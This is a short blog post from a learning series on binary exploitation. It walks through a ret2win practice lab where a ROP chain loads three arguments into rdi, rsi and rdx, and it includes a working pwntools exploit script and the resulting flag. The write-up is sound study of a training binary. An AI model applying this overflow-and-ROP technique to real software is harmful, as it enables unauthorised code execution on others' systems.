- Published on
Pwn Learning Path #5: Controlling Three Function Arguments
- Authors

- Name
- Muhammad Huzaifa
The final ret2win argument drill called this target:
win(0xdeadbeef, 0xcafebabe, 0x13371337);
The Linux x86_64 register order gave me the plan immediately:
rdi = 0xdeadbeef
rsi = 0xcafebabe
rdx = 0x13371337
Extending the previous chain
The first two setup steps stayed unchanged. I inserted a pop rdx; ret gadget and its value before the final target:
72 bytes of padding
pop rdi; ret
0xdeadbeef
pop rsi; ret
0xcafebabe
pop rdx; ret
0x13371337
win
This was a useful moment in the learning path because the chain looked longer, but the reasoning did not become more complicated. Each pair still had one purpose:
gadget address -> value consumed by its pop
Building it
from pwn import *
elf = context.binary = ELF('./ret2win_3args', checksec=False)
rop = ROP(elf)
io = process(elf.path)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = rop.find_gadget(['pop rsi', 'ret'])[0]
pop_rdx = rop.find_gadget(['pop rdx', 'ret'])[0]
payload = flat(
b'A' * 72,
pop_rdi,
0xdeadbeef,
pop_rsi,
0xcafebabe,
pop_rdx,
0x13371337,
elf.symbols['win'],
)
io.sendline(payload)
print(io.recvall().decode())
The completed lab printed:
local{ret2win_three_argument_control}
What this taught me
The calling convention is not background theory. It is a payload design rule. If a target function needs arguments, I need to prepare the same registers that ordinary compiled code would prepare before a call.
The first six integer or pointer arguments use:
rdi, rsi, rdx, rcx, r8, r9
Real binaries do not always offer one clean pop gadget per register. Gadgets may have side effects or consume additional stack values. These controlled labs isolated the core idea first: lay out the chain according to what each instruction consumes.
My next problem was different. Instead of deriving a familiar 64 + 8 offset from source, I needed to measure an unusual offset from the crash itself.